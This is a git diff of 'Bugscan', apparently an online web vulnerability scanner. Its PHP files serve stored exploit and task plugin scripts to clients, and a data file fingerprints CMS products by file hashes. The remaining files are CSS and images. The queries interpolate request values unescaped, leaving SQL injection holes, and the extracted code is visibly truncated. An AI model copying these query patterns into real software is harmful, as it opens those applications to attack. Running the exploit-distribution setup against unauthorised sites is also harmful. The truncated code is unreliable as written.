diff --git a/Exit.php b/Exit.php new file mode 100644 index 0000000..7d8723e --- /dev/null +++ b/Exit.php @@ -0,0 +1,6 @@ +window.top.location.href='/';"; +?> \ No newline at end of file diff --git a/Get.php b/Get.php new file mode 100644 index 0000000..60a0851 --- /dev/null +++ b/Get.php @@ -0,0 +1,11 @@ +fetch_assoc("select * from ##_task_list where user = '{$u}' and status=1"); +if ($fs['task']){ + echo file_get_contents(dirname(__FILE__)."/plus/{$fs['task']}.py"); + echo ':|:'.$fs['url'].':|:'.$fs['report_id']; + $addtime=time(); + $db->fetch_assoc1("update ##_task_list set status=0,exec_ip='{$ip}',exec_time=$addtime where id = {$fs['id']}"); +} +?> \ No newline at end of file diff --git a/Get_exp.php b/Get_exp.php new file mode 100644 index 0000000..f7a940a --- /dev/null +++ b/Get_exp.php @@ -0,0 +1,18 @@ +query("select dir from ##_exploit where dir Like '%{$exp}%'"); +$rows = mysql_num_rows($fs); +if ($rows>0 and $exp){ + for($i = 0; $i < $rows; $i++) + { + $ss = $db->fetch_row($fs); + $exp_list .=$ss[0]."|exp|"; + } + print $exp_list; +} +if($x){ + $fss = $db->fetch_assoc("select dir from ##_exploit where dir = '{$x}'"); + echo file_get_contents(dirname(__FILE__)."/plus/{$fss["dir"]}.py"); + //exit(); +} +?> \ No newline at end of file diff --git a/README.md b/README.md index c167d9d..9208e51 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,14 @@ -Bugscan -======= - -Bugscan Web Vulnerability Scaner Online System +Bugscan +======= + +Bugscan Web Vulnerability Scaner Online System + +核心使用江湖一刀的mst框架,话说那框架真的很赞。 + +之后也反编译过bugscan的部分代码,也很赞。 + +这东西14年已经完成了demo,一直没时间继续完善,代码也写得很low T_T 。 + +By - Mr.x + +2015.8.12 diff --git a/data/cms.txt b/data/cms.txt new file mode 100644 index 0000000..e063c99 --- /dev/null +++ b/data/cms.txt @@ -0,0 +1,20 @@ +/plus/img/face/1.gif::89fe2f5e0467ef10f066272d07e2de57::dede +/include/code/datalist.utf-8.inc::b3f27da60b6302fcfeeb56105716ca7d::dede +/include/js/jquery/ui.core.js::ec7d2e180b647f8ee80fd7370f340a0d::dede +/include/js/jquery/jquery.js::518215c646beff570b8d9849429139d4::dede +/houtai/img/admin_top_logo.gif::1e78c168da8271af6538b00e4baf53d5::dede +/favicon.ico::21e51cee51c833c76dec691155d0d8a4::dede +/favicon.ico::21e51cee51c833c76dec691155d0d8a4::dede +/data/admin/allowurl.txt::dda6f3b278f65bd77ac556bf16166a0c::dede +/favicon.ico::93cc5f5b4c2d22841e3f5c952db5116a::dede +/member/images/member.gif::9e41920b6e9a04a55e886589ac12146a::dede +/member/templets/images/login_logo.gif::15e2e455b176f7b1d49e5ca3a4f79f5d::dede +/plus/img/wbg.gif::6e8b9b8af42923fa0ecf89c0054e4091::dede +/js/close.gif::106f4f32d0f4fea144b2848b4ee2fb79::aspcms +/js/close.gif::1f96a4dc1fd3761cbbc63160f4663bf6::aspcms +/images/qq/qqkf2/Kf_bg03_03.gif::86e0554ab2d9f46bab7852d71f2eecd3::aspcms +/images/qq/qqkf2/Kf_bg03_03.gif::fd5895d46be13038be5dffd88539cb45::aspcms +/js/date/date.html::06eb7c5ad8f42e12f93e74a1dc774e42::Gv32cms +/js/date/images/bg.gif::e8c26ca976ddfb1bf8a789b0dc25ac86::Gv32cms +/base/templates/images/2.png::fa2b19f44a5084d560d707da20846575::phpweb +/base/templates/images/2.png::b34179667ebcbe98b2be099a1391b5b0::phpweb diff --git a/exp_list.php b/exp_list.php new file mode 100644 index 0000000..d14e0ca --- /dev/null +++ b/exp_list.php @@ -0,0 +1,21 @@ +query("select * from ##_exploit"); + $rows = mysql_num_rows($query); + $i=1; + while ($fs = $db->fetch_array($query)) + { + $exp_name = $fs["title"]; + $exp_dir = $fs["dir"]; + $exp_content = $fs["content"]; + $loopstr .= " + {$i} +  {$exp_name}"; + $i++; + } +} +include('html/exp_list.html'); +?> \ No newline at end of file diff --git a/html/exp_list.html b/html/exp_list.html new file mode 100644 index 0000000..f25f463 --- /dev/null +++ b/html/exp_list.html @@ -0,0 +1,34 @@ + + + + +网站漏洞扫描系统 + + + +
+ + | '.$_SERVER["REMOTE_ADDR"];?> | 加添任务 | 查看任务 | 漏洞列表 | 退出';}else{echo '登录';}?>
+ +

+
一个简洁实用的在线Web安全扫描平台!
+

+ +
+ +
+ + + + + + + + +
编号漏洞名称 (共 个)
+
+ + + diff --git a/html/images/Date.js b/html/images/Date.js new file mode 100644 index 0000000..bc7f699 --- /dev/null +++ b/html/images/Date.js @@ -0,0 +1,81 @@ +var sWeek = new Array("星期日","星期一","星期二","星期三","星期四","星期五","星期六"); +var dNow = new Date(); +var CalendarData=new Array(100); +var madd=new Array(12); +var tgString="甲乙丙丁戊己庚辛壬癸"; +var dzString="子丑寅卯辰巳午未申酉戌亥"; +var numString="一二三四五六七八九十"; +var monString="正二三四五六七八九十冬腊"; +var weekString="日一二三四五六"; +var sx="鼠牛虎兔龙蛇马羊猴鸡狗猪"; +var cYear,cMonth,cDay,TheDate; +CalendarData = new Array( +0xA4B,0x5164B,0x6A5,0x6D4,0x415B5,0x2B6,0x957,0x2092F,0x497,0x60C96, +0xD4A,0xEA5,0x50DA9,0x5AD,0x2B6,0x3126E, 0x92E,0x7192D,0xC95,0xD4A, +0x61B4A,0xB55,0x56A,0x4155B, 0x25D,0x92D,0x2192B,0xA95,0x71695,0x6CA, +0xB55,0x50AB5,0x4DA,0xA5B,0x30A57,0x52B,0x8152A,0xE95,0x6AA,0x615AA, +0xAB5,0x4B6,0x414AE,0xA57,0x526,0x31D26,0xD95,0x70B55,0x56A,0x96D, +0x5095D,0x4AD,0xA4D,0x41A4D,0xD25,0x81AA5, 0xB54,0xB6A,0x612DA,0x95B, +0x49B,0x41497,0xA4B,0xA164B, 0x6A5,0x6D4,0x615B4,0xAB6,0x957,0x5092F, +0x497,0x64B, 0x30D4A,0xEA5,0x80D65,0x5AC,0xAB6,0x5126D,0x92E,0xC96, +0x41A95,0xD4A,0xDA5,0x20B55,0x56A,0x7155B,0x25D,0x92D,0x5192B,0xA95, +0xB4A,0x416AA,0xAD5,0x90AB5,0x4BA,0xA5B, 0x60A57,0x52B,0xA93,0x40E95); +madd[0]=0;madd[1]=31;madd[2]=59;madd[3]=90; +madd[4]=120;madd[5]=151;madd[6]=181;madd[7]=212; +madd[8]=243;madd[9]=273;madd[10]=304;madd[11]=334; +function GetBit(m,n) { return (m>>n)&1; } +function e2c() { +TheDate= (arguments.length!=3) ? new Date() : new Date(arguments[0],arguments[1],arguments[2]); +var total,m,n,k; +var isEnd=false; +var tmp=TheDate.getFullYear(); +total=(tmp-1921)*365+Math.floor((tmp-1921)/4)+madd[TheDate.getMonth()]+TheDate.getDate()-38; if (TheDate.getYear()%4==0&&TheDate.getMonth()>1) { total++;} for(m=0;;m++) { k=(CalendarData[m] <0xfff)?11:12; for(n=k;n>=0;n--) { if(total <=29+GetBit(CalendarData[m],n)) { isEnd=true; break; } total=total-29-GetBit(CalendarData[m],n); } if(isEnd) break; } cYear=1921 + m; cMonth=k-n+1; cDay=total; if(k==12) { if(cMonth==Math.floor(CalendarData[m]/0x10000)+1) { cMonth=1-cMonth; } if(cMonth>Math.floor(CalendarData[m]/0x10000)+1) { cMonth--; } }} +function GetcDateString(){ var tmp=""; tmp+=tgString.charAt((cYear-4)%10); +tmp+=dzString.charAt((cYear-4)%12); +tmp+="年 "; +if(cMonth <1) { tmp+="(闰)"; tmp+=monString.charAt(-cMonth-1); } else {tmp+=monString.charAt(cMonth-1);} tmp+="月"; tmp+=(cDay <11)?"初":((cDay <20)?"十":((cDay <30)?"廿":"三十")); +if (cDay%10!=0 ||cDay==10) { tmp+=numString.charAt((cDay-1)%10); } return tmp;} +function GetLunarDay(solarYear,solarMonth,solarDay) { +if (solarYear <1921 || solarYear>2020) { return ""; +} else { solarMonth = (parseInt(solarMonth)>0) ? (solarMonth-1) : 11; e2c(solarYear,solarMonth,solarDay); return GetcDateString(); }} +var D=new Date(); +var yy=D.getFullYear(); +var mm=D.getMonth()+1; +var dd=D.getDate(); +var ww=D.getDay(); +var ss=parseInt(D.getTime() / 1000); +function getFullYear(d){// 修正firefox下year错误 +yr=d.getYear();if(yr <1000) +yr+=1900;return yr;} + +function RunGLNL() { + timeString = new Date().toLocaleTimeString(); + var sValue = getFullYear(dNow)+"年"+(dNow.getMonth()+1)+"月"+dNow.getDate()+"日"+" "+timeString+ + " "+sWeek[dNow.getDay()]+" "; + sValue+=GetLunarDay(yy,mm,dd); + var svalue1=getFullYear(dNow)+"年"+(dNow.getMonth()+1)+"月"+dNow.getDate()+"日"; + var svalue2=timeString; + var svalue3=GetLunarDay(yy,mm,dd); + var sx2=sx.substr(dzString.indexOf(svalue3.substr(1,1)),1); + var svalue33=svalue3.substr(0,3) + var svalue333=svalue33.substr(0,2)+"("+sx2+")"+svalue33.substr(2,1); + var sx22=""+svalue3.substr(4,6); + document.write("今天是:"+svalue1+" "+sWeek[dNow.getDay()]+" 农历"+svalue333+" "+sx22+""); +}; +function HomeRunGLNL(val) { + timeString = new Date().toLocaleTimeString(); + var sValue = getFullYear(dNow)+"年"+(dNow.getMonth()+1)+"月"+dNow.getDate()+"日"+" "+timeString+ + " "+sWeek[dNow.getDay()]+" "; + sValue+=GetLunarDay(yy,mm,dd); + var svalue1=getFullYear(dNow)+"年"+(dNow.getMonth()+1)+"月"+dNow.getDate()+"日"; + var svalue2=timeString; + var svalue3=GetLunarDay(yy,mm,dd); + var sx2=sx.substr(dzString.indexOf(svalue3.substr(1,1)),1); + var svalue33=svalue3.substr(0,3) + var svalue333=svalue33.substr(0,2)+"("+sx2+")"+svalue33.substr(2,1); + var sx22=""+svalue3.substr(4,6); + if(val==0) + document.write (svalue1+"
农历"+sx22+""); + else + document.write (svalue1+" 农历"+sx22+""); +}; \ No newline at end of file diff --git a/html/images/MenuBg.jpg b/html/images/MenuBg.jpg new file mode 100644 index 0000000..b174f51 Binary files /dev/null and b/html/images/MenuBg.jpg differ diff --git a/html/images/Thumbs.db b/html/images/Thumbs.db new file mode 100644 index 0000000..ac8c522 Binary files /dev/null and b/html/images/Thumbs.db differ diff --git a/html/images/bg.png b/html/images/bg.png new file mode 100644 index 0000000..9f5f496 Binary files /dev/null and b/html/images/bg.png differ diff --git a/html/images/bottom.jpg b/html/images/bottom.jpg new file mode 100644 index 0000000..9c724ca Binary files /dev/null and b/html/images/bottom.jpg differ diff --git a/html/images/bottombg.jpg b/html/images/bottombg.jpg new file mode 100644 index 0000000..641d002 Binary files /dev/null and b/html/images/bottombg.jpg differ diff --git a/html/images/css.css b/html/images/css.css new file mode 100644 index 0000000..ff4511a --- /dev/null +++ b/html/images/css.css @@ -0,0 +1,180 @@ +@charset "utf-8"; +html,body{margin: 0;padding: 0;border: 0;font-size: 100%;} +*{margin: 0;padding: 0;list-style: none;} +body{padding:0px; margin:0px;font-size:12px;line-height: 22px;font-family:"宋体", Tahoma, Helvetica, Arial, sans-serif; color:#666666; background:#FFF} +form,div,ul,li,p,h1,h2,h3,h4,h5,h6,table,th,td,p{ padding:0px; margin:0px;} +table {padding:0px; margin:0px;border-collapse: collapse;border-spacing:0;} +input{font-size:12px; line-height: 16px; color:#666}select{font-size:12px; line-height: 16px} +input,label { vertical-align:middle;} +img{border: none;} +ul,li{list-style-type: none} +a{font-size: 12px;color: #0266a2;text-decoration: none; } +a:hover{text-decoration:none} +s ,em{font-style:normal; text-decoration:none} +.w980{width:980px; margin:0 auto;} +.mt10{margin-top:10px} +.ml10{margin-left:10px} +.clear{clear:both} +.floatright{float:right; padding:0 10px} +.red{color:#F00} +.f000{color:#000} +.yahei , yahei a{font-family:"Microsoft YaHei",微软雅黑,"Microsoft JhengHei",华文细黑,STHeiti,MingLiu} +.submit{width:108px; height:42px; line-height:42px; overflow:hidden; text-align:center; border:none; font-size:14px; color:#FFF; font-weight:bold; cursor:pointer} +input.error{background:#FFF; border:1px solid #ff999a} +label.error{padding-left:20px; color:#F00; display:block; background:url(error.gif) no-repeat 0px center;} +label.success{background:url(ok.gif) no-repeat 0px center} + +.page{text-align:center; overflow:hidden; border:none; margin:5px 0; float:right; clear:both} +.page ul li{float:left; border:1px solid #CCC; margin-left:10px; line-height:20px} +.page ul li a{display:block;padding:0px 8px; } +.page ul li a:hover{display:block;padding:0px 8px; background:#f47c02; color:#FFF; text-decoration:none} +.page .selected{background:#f47c02} +.page .selected a{color:#FFF;} + +.submit , .path span , .SearchBotton , .pubsubmit {background:url(bg.png) no-repeat} +.SearchBotton{width:77px; height:25px; text-align:center; line-height:25px; border:none; color:#FFF; font-weight:bold;cursor:pointer; background-position:-243px 0} +.pubsubmit{width:56px; height:25px; text-align:center; line-height:25px; border:none; color:#FFF; cursor:pointer; background-position:-243px -26px} +.reset{background-position:-300px -26px} +.txt{border:1px solid #CCC; height:22px; line-height:22px; overflow:hidden; padding-left:5px} +.textarea{border:1px solid #CCC; height:120px; width:350px} +.loginmain{width:680px; margin:0 auto} +.loginmain .logo{margin-bottom:40px} +.loginmain .table{background:#FFF; height:334px; overflow:hidden} +.loginmain .table .left{width:368px; float:left; padding-left:50px} +.loginmain .table .right{width:257px; float:left; margin-right:5px} +.loginmain .t1{font-size:16px; color:#304b65; font-weight:bold; margin-top:50px;} +.loginmain .t2 ul li{margin-top:15px; height:33px; line-height:28px; overflow:hidden} +.loginmain .t2 ul li span{float:left} +.loginmain .t2 .rem{margin-left:10px} +.loginmain .t2 .input{border:1px solid #bac7d2; width:180px; height:28px; background:#ecf5fa; font-size:14px; line-height:28px; padding-left:5px} +.loginmain . {text-align:center; margin-top:10px; color:#FFF;} + +.topindex{height:66px; overflow:hidden; background:url(topbg.jpg) repeat-x} +.logoleft{height:26px; overflow:hidden; padding-left:20px; padding-top:15px; width:400px; float:left} +.logoright{width:560px; float:right; color:#FFF; text-align:right; padding-right:10px;} +.logoright a{color:#FFF} +.logorighttop{background:url(toprightbg.png) no-repeat right 0; width:320px; height:23px; line-height:23px; float:right} +.logorighttop ul{margin-left:60px} +.logorighttop ul li{float:left; width:75px; text-align:center} +.logorighttop ul li a{color:#FFF;} +.logorighttop ul li a:hover{color:#ff4800} +.logorightbottom{padding-top:10px; clear:both; color:#ceeaf8} +.bigmenu{background:url(MenuBg.jpg) no-repeat; height:33px; line-height:33px; overflow:hidden; padding-left:30px; cursor:pointer; vertical-align:baseline; color:#000; color:#FFF; margin-left:5px; font-size:14px; font-weight:bold; position:relative} +.bigmenu s{position:absolute; right:20px; top:10px; display:block; width:10px; height:10px} +.smallmenu ul{border:1px solid #cbcbcb; border-bottom:none; border-top:none; background:#FFF; width:217px; margin-left:5px;} +.smallmenu ul li{border-bottom:1px solid #eaeaea; position:relative; height:30px; line-height:30px; overflow:hidden} +.smallmenu s{background:url(smallmenus.gif) no-repeat; width:4px; height:7px; position:absolute; top:12px; right:10px;} +.smallmenu ul li a{height:30px; line-height:30px; overflow:hidden; padding-left:36px; display:block} +.smallmenu ul li a:hover{background:#ebebeb} +.mindex{background:url(bottom.jpg) repeat-x; color:#FFF} +.menubottom{overflow:hidden; background:url(menubottom.jpg) no-repeat; height:11px; margin-left:5px} +.menusplit{height:5px; overflow:hidden} + +.main{margin:10px; height:auto} +.path{background:#347BAF; height:60px; color:#fff; overflow:hidden; font-size:16px; font-weight:bold; line-height:60px; padding-left:20px; position:relative} +.path span{display:block; width:133px; height:38px; line-height:38px; overflow:hidden; background-position:-109px 0; position:absolute; right:20px; top:11px;text-indent:50px} +.path span a{font-size:14px; color:#FFF; font-weight:bold; display:block} +.search{margin-top:10px;} +.Searchform{padding-bottom:10px} +.tableBorder tr:hover td{ /*background-color:#FBFBF4; */background-color:#f4f4f4;} +.tableBorder td , .tableBorder th{height:30px; line-height:180%; overflow:hidden; padding:0 10px; color:#666666} +.tableBorder td a{color:#00F} +.tableBorder td a:hover{color:#ff0000} +.tableBorder th{text-align:left; background:#ebeef3; color:#666666; font-weight:bold} + +.lzlefttd{background:#f9f9f9; text-align:right; font-size:12px} +.listbt{border:1px solid #c3d8ed; border-bottom:none; height:30px; line-height:30px; font-weight:bold; background:#f9f9f9; text-indent:20px} +.bqx{border-bottom:1px dashed #CCC; overflow:auto; padding-bottom:10px} +.sqx{margin-left:30px} +.eqx{height:25px; line-height:25px; overflow:hidden; padding-left:20px;} + +.function{height:27px; line-height:27px; overflow:hidden;border-top:none; text-indent:20px;background:#eef7fe; border:1px solid #c3d8ed; margin-top:10px} +.function ul li{float:left;} +.function .add{background:url(add.gif) no-repeat left 5px} +.function .CheckAll{background:url(checkall.gif) no-repeat left 5px} +.function .ReverseCheck{background:url(uncheck.gif) no-repeat left 5px} +.function .PassCheck{background:url(PassCheck.gif) no-repeat left 5px} +.function .NotCheck{background:url(NotCheck.gif) no-repeat left 5px} +.function .DelCheck{background:url(delete.gif) no-repeat left 5px} +.function a:hover{color:#ff4800} +.ejnav{padding-left:20px; color:#00F} + +.wel{border:1px solid #bbbcc6; background:#f6f7f9; overflow:auto} +.wel .left{float:left; border-right:1px solid #d9dde8} +.wel .right{float:left; border-left:1px solid #fff} +.wel .title{height:35px; background:#ebeef4; margin-top:11px; line-height:35px; overflow:hidden} +.wel .title s{width:80px; display:block; background:#d0d7e9; text-align:center; color:#204695; font-size:14px; font-weight:bold; margin-left:20px} +.wel .title span a{color:#929191} +.wel .title span a:hover{color:#ff4800} +.ginfo{padding:10px 0} +.ginfo ul li{height:30px; line-height:30px; background:url(welliico.jpg) no-repeat 10px 15px; padding:0 20px; clear:both} +.ginfo ul li a{color:#6a6a6a; font-size:14px} +.ginfo ul li a:hover{color:#ff4800} + +.file td a{color:#000} +.file td a:hover{color:#ff4800} +.showtitle{text-align:center; padding:20px 0; font-size:16px; font-weight:bold;} +.showother{height:30px; background:#eae9e9; margin:0 20px; line-height:30px; overflow:hidden; border-top:1px dashed #CCC; border-bottom:1px dashed #CCC; text-align:center} +.showinfo{margin:20px; font-size:14px; line-height:210%} + +.overlay{position:fixed;top:0;right:0;bottom:0;left:0;z-index:998;width:100%;height:100%;background:#000;} +.showbox{position:fixed;top:0;left:0;z-index:9999; border:1px solid #92c0da; width:180px; height:60px; background:#FFF; text-align:center; line-height:60px} +.showbox img{vertical-align:middle} + +.price{font-family:Arial, Helvetica, sans-serif; color:#ff4800; font-size:14px; font-weight:bold} +.price1{font-family:Arial, Helvetica, sans-serif; color:#ff0000; font-size:16px; font-weight:bold} + +.maintip{font-size:14px; font-weight:bold; margin-top:20px} +.userleveltip{margin-top:20px} +.userleveltip td , .userleveltip th{height:30px; line-height:30px; overflow:hidden; text-align:center} +.userleveltip th{background:#e5e3e3} + +/* +.loginmain1{background:url(loginmain.jpg) repeat-x;} +*/ +.loginmain1 .logininput{height:470px; background:url(loginbg.jpg) no-repeat; position:relative} +.loginmain1 .logininput s{position:absolute} +.loginmain1 .inp{height:28px; line-height:28px; border:1px solid #f6f7f7; width:236px; overflow:hidden} +.loginmain1 .logininput .s1{right:360px; top:200px} +.loginmain1 .logininput .s2{right:360px; top:270px} +.loginmain1 .logininput .s3{right:490px; top:320px} +.loginmain1 .logininput .s4{right:350px; top:320px} +.loginmain1 .logininput .s5{right:70px; top:20px;} +.loginmain1 .loginsubmit{background:url(loginsubmit.jpg) no-repeat; width:114px; height:36px; border:none; cursor:pointer} +.loginmain1 .regsubmit{background:url(regsubmit.jpg) no-repeat; width:114px; height:36px; border:none; cursor:pointer} +.loginmain1 .copyright{margin-top:100px; text-align:center; padding-bottom:20px; border-bottom:1px solid #d9d9d9} +.loginmain1 .copyright a{color:#666666} +.loginmain1 .copyright a:hover{color:#ff4800} +.loginmain1 .bottombg{text-align:center; padding:20px 0} + +.jw-over{position:absolute;top:0;left:0;width:100%;background-color:#000;z-index:300;display:block; filter: alpha(opacity=30);-moz-opacity: 0.3;opacity: 0.3;} +/* +.jw-over-hidden{margin:0;padding:0;width:100%;overflow: hidden} +*/ +.jw-dialog{position:absolute;z-index:301;border-radius:5px;background:#fff;border-radius:5px;border:1px solid gray;border-top:none} +.jw-dialog-hd{background:url(/include/images/center.jpg) repeat-x; height:40px; line-height:40px; overflow:hidden; padding:0 10px; font-weight:bold; color:#ff4800} +.jw-dialog-hd a{color:#ff4800;font:16px sans-serif, bold;outline: none;text-decoration: none;margin-left:10px;} +.jw-dialog-hd .close{} +.jw-dialog-hd .close:hover,.jw-dialog-title .max:hover{color:#000} +.jw-dialog-bd{height:auto;background:#fff;} +.jw-dialog-loading div{background: url(/include/images/loading.gif) no-repeat ;height:40px;width:40px;margin-left:48%} + + +.jw-msg{position: fixed;bottom: 40px;left:25%;text-align: center;width: 50%;background-color:#000;filter: alpha(opacity=80);opacity: 0.8;color:#fff;z-index:999999;padding:10px;font-size:20px;border-radius:10px} + + +.jw-alert{padding:20px;height:75px} +.jw-alert .icon{background:url(/include/images/jw-icons.gif);width:50px;height:50px;float:left;margin-right: 10px;} +.jw-alert .bd{padding-left:50px;} +.jw-alert .ft{margin:10px;text-align: center;} + +.jw-tab {border: 1px solid #CCCCCC;margin-bottom: 10px;} +.jw-tab .hd{height:28px;line-height: 28px; padding-right: 12px; text-align: right;background:#ccc} +.jw-tab .hd ul{margin:0;padding:0} +.jw-tab .hd li {float: left;height: 27px;line-height: 27px;padding: 0 20px;list-style:none;cursor: pointer;} +.jw-tab .hd li.cur { background-color: #FFFFFF;font-weight: bold;border-bottom:1px solid #fff} +.jw-tab .bd{padding:10px;} + +.jw-pbar{border:1px solid #0066CC;width:400px;border-radius:5px;} +.jw-pbar .jw-pbar-t{text-align: center;position: absolute;} +.jw-pbar .jw-pbar-v{background:#0066CC } \ No newline at end of file diff --git a/html/images/error.gif b/html/images/error.gif new file mode 100644 index 0000000..9a924c4 Binary files /dev/null and b/html/images/error.gif differ diff --git a/html/images/exp.jpg b/html/images/exp.jpg new file mode 100644 index 0000000..abcd03f Binary files /dev/null and b/html/images/exp.jpg differ diff --git a/html/images/exp1.jpg b/html/images/exp1.jpg new file mode 100644 index 0000000..7a44509 Binary files /dev/null and b/html/images/exp1.jpg differ diff --git a/html/images/ico/Thumbs.db b/html/images/ico/Thumbs.db new file mode 100644 index 0000000..94c8789 Binary files /dev/null and b/html/images/ico/Thumbs.db differ diff --git a/html/images/ico/ico02.png b/html/images/ico/ico02.png new file mode 100644 index 0000000..ff8dea6 Binary files /dev/null and b/html/images/ico/ico02.png differ diff --git a/html/images/ico/landui1.gif b/html/images/ico/landui1.gif new file mode 100644 index 0000000..78bade8 Binary files /dev/null and b/html/images/ico/landui1.gif differ diff --git a/html/images/ico/landui10.gif b/html/images/ico/landui10.gif new file mode 100644 index 0000000..65c2569 Binary files /dev/null and b/html/images/ico/landui10.gif differ diff --git a/html/images/ico/landui100.gif b/html/images/ico/landui100.gif new file mode 100644 index 0000000..c3ddb91 Binary files /dev/null and b/html/images/ico/landui100.gif differ diff --git a/html/images/ico/landui101.gif b/html/images/ico/landui101.gif new file mode 100644 index 0000000..8b82fa3 Binary files /dev/null and b/html/images/ico/landui101.gif differ diff --git a/html/images/ico/landui102.gif b/html/images/ico/landui102.gif new file mode 100644 index 0000000..215181a Binary files /dev/null and b/html/images/ico/landui102.gif differ diff --git a/html/images/ico/landui103.gif b/html/images/ico/landui103.gif new file mode 100644 index 0000000..c2fbbe7 Binary files /dev/null and b/html/images/ico/landui103.gif differ diff --git a/html/images/ico/landui104.gif b/html/images/ico/landui104.gif new file mode 100644 index 0000000..152c759 Binary files /dev/null and b/html/images/ico/landui104.gif differ diff --git a/html/images/ico/landui105.gif b/html/images/ico/landui105.gif new file mode 100644 index 0000000..65d495d Binary files /dev/null and b/html/images/ico/landui105.gif differ diff --git a/html/images/ico/landui106.gif b/html/images/ico/landui106.gif new file mode 100644 index 0000000..d628be7 Binary files /dev/null and b/html/images/ico/landui106.gif differ diff --git a/html/images/ico/landui107.gif b/html/images/ico/landui107.gif new file mode 100644 index 0000000..796ee99 Binary files /dev/null and b/html/images/ico/landui107.gif differ diff --git a/html/images/ico/landui108.gif b/html/images/ico/landui108.gif new file mode 100644 index 0000000..2269184 Binary files /dev/null and b/html/images/ico/landui108.gif differ diff --git a/html/images/ico/landui109.gif b/html/images/ico/landui109.gif new file mode 100644 index 0000000..c432f54 Binary files /dev/null and b/html/images/ico/landui109.gif differ diff --git a/html/images/ico/landui11.gif b/html/images/ico/landui11.gif new file mode 100644 index 0000000..215181a Binary files /dev/null and b/html/images/ico/landui11.gif differ diff --git a/html/images/ico/landui110.gif b/html/images/ico/landui110.gif new file mode 100644 index 0000000..3b5ed6d Binary files /dev/null and b/html/images/ico/landui110.gif differ diff --git a/html/images/ico/landui111.gif b/html/images/ico/landui111.gif new file mode 100644 index 0000000..92220a5 Binary files /dev/null and b/html/images/ico/landui111.gif differ diff --git a/html/images/ico/landui112.gif b/html/images/ico/landui112.gif new file mode 100644 index 0000000..4a5b474 Binary files /dev/null and b/html/images/ico/landui112.gif differ diff --git a/html/images/ico/landui113.gif b/html/images/ico/landui113.gif new file mode 100644 index 0000000..587a0f5 Binary files /dev/null and b/html/images/ico/landui113.gif differ diff --git a/html/images/ico/landui114.gif b/html/images/ico/landui114.gif new file mode 100644 index 0000000..89dc0c3 Binary files /dev/null and b/html/images/ico/landui114.gif differ diff --git a/html/images/ico/landui115.gif b/html/images/ico/landui115.gif new file mode 100644 index 0000000..152c759 Binary files /dev/null and b/html/images/ico/landui115.gif differ diff --git a/html/images/ico/landui116.gif b/html/images/ico/landui116.gif new file mode 100644 index 0000000..59048e8 Binary files /dev/null and b/html/images/ico/landui116.gif differ diff --git a/html/images/ico/landui117.gif b/html/images/ico/landui117.gif new file mode 100644 index 0000000..0d1c200 Binary files /dev/null and b/html/images/ico/landui117.gif differ diff --git a/html/images/ico/landui118.gif b/html/images/ico/landui118.gif new file mode 100644 index 0000000..d641b24 Binary files /dev/null and b/html/images/ico/landui118.gif differ diff --git a/html/images/ico/landui119.gif b/html/images/ico/landui119.gif new file mode 100644 index 0000000..d641b24 Binary files /dev/null and b/html/images/ico/landui119.gif differ diff --git a/html/images/ico/landui12.gif b/html/images/ico/landui12.gif new file mode 100644 index 0000000..a6639d6 Binary files /dev/null and b/html/images/ico/landui12.gif differ diff --git a/html/images/ico/landui120.gif b/html/images/ico/landui120.gif new file mode 100644 index 0000000..db64dd7 Binary files /dev/null and b/html/images/ico/landui120.gif differ diff --git a/html/images/ico/landui121.gif b/html/images/ico/landui121.gif new file mode 100644 index 0000000..66ce112 Binary files /dev/null and b/html/images/ico/landui121.gif differ diff --git a/html/images/ico/landui122.gif b/html/images/ico/landui122.gif new file mode 100644 index 0000000..629c17e Binary files /dev/null and b/html/images/ico/landui122.gif differ diff --git a/html/images/ico/landui123.gif b/html/images/ico/landui123.gif new file mode 100644 index 0000000..36dcf9c Binary files /dev/null and b/html/images/ico/landui123.gif differ diff --git a/html/images/ico/landui124.gif b/html/images/ico/landui124.gif new file mode 100644 index 0000000..0e7d19f Binary files /dev/null and b/html/images/ico/landui124.gif differ diff --git a/html/images/ico/landui125.gif b/html/images/ico/landui125.gif new file mode 100644 index 0000000..1a7b2b7 Binary files /dev/null and b/html/images/ico/landui125.gif differ diff --git a/html/images/ico/landui126.gif b/html/images/ico/landui126.gif new file mode 100644 index 0000000..0e6b3f9 Binary files /dev/null and b/html/images/ico/landui126.gif differ diff --git a/html/images/ico/landui127.gif b/html/images/ico/landui127.gif new file mode 100644 index 0000000..daa4923 Binary files /dev/null and b/html/images/ico/landui127.gif differ diff --git a/html/images/ico/landui128.gif b/html/images/ico/landui128.gif new file mode 100644 index 0000000..3c91648 Binary files /dev/null and b/html/images/ico/landui128.gif differ diff --git a/html/images/ico/landui129.gif b/html/images/ico/landui129.gif new file mode 100644 index 0000000..d779ab3 Binary files /dev/null and b/html/images/ico/landui129.gif differ diff --git a/html/images/ico/landui13.gif b/html/images/ico/landui13.gif new file mode 100644 index 0000000..d5effc7 Binary files /dev/null and b/html/images/ico/landui13.gif differ diff --git a/html/images/ico/landui130.gif b/html/images/ico/landui130.gif new file mode 100644 index 0000000..487b4ef Binary files /dev/null and b/html/images/ico/landui130.gif differ diff --git a/html/images/ico/landui131.gif b/html/images/ico/landui131.gif new file mode 100644 index 0000000..857f229 Binary files /dev/null and b/html/images/ico/landui131.gif differ diff --git a/html/images/ico/landui132.gif b/html/images/ico/landui132.gif new file mode 100644 index 0000000..6311324 Binary files /dev/null and b/html/images/ico/landui132.gif differ diff --git a/html/images/ico/landui133.gif b/html/images/ico/landui133.gif new file mode 100644 index 0000000..6f3d250 Binary files /dev/null and b/html/images/ico/landui133.gif differ diff --git a/html/images/ico/landui134.gif b/html/images/ico/landui134.gif new file mode 100644 index 0000000..f5caebb Binary files /dev/null and b/html/images/ico/landui134.gif differ diff --git a/html/images/ico/landui135.gif b/html/images/ico/landui135.gif new file mode 100644 index 0000000..6facb91 Binary files /dev/null and b/html/images/ico/landui135.gif differ diff --git a/html/images/ico/landui136.gif b/html/images/ico/landui136.gif new file mode 100644 index 0000000..44b5984 Binary files /dev/null and b/html/images/ico/landui136.gif differ diff --git a/html/images/ico/landui137.gif b/html/images/ico/landui137.gif new file mode 100644 index 0000000..f54cb20 Binary files /dev/null and b/html/images/ico/landui137.gif differ diff --git a/html/images/ico/landui138.gif b/html/images/ico/landui138.gif new file mode 100644 index 0000000..34486a1 Binary files /dev/null and b/html/images/ico/landui138.gif differ diff --git a/html/images/ico/landui139.gif b/html/images/ico/landui139.gif new file mode 100644 index 0000000..af8539b Binary files /dev/null and b/html/images/ico/landui139.gif differ diff --git a/html/images/ico/landui14.gif b/html/images/ico/landui14.gif new file mode 100644 index 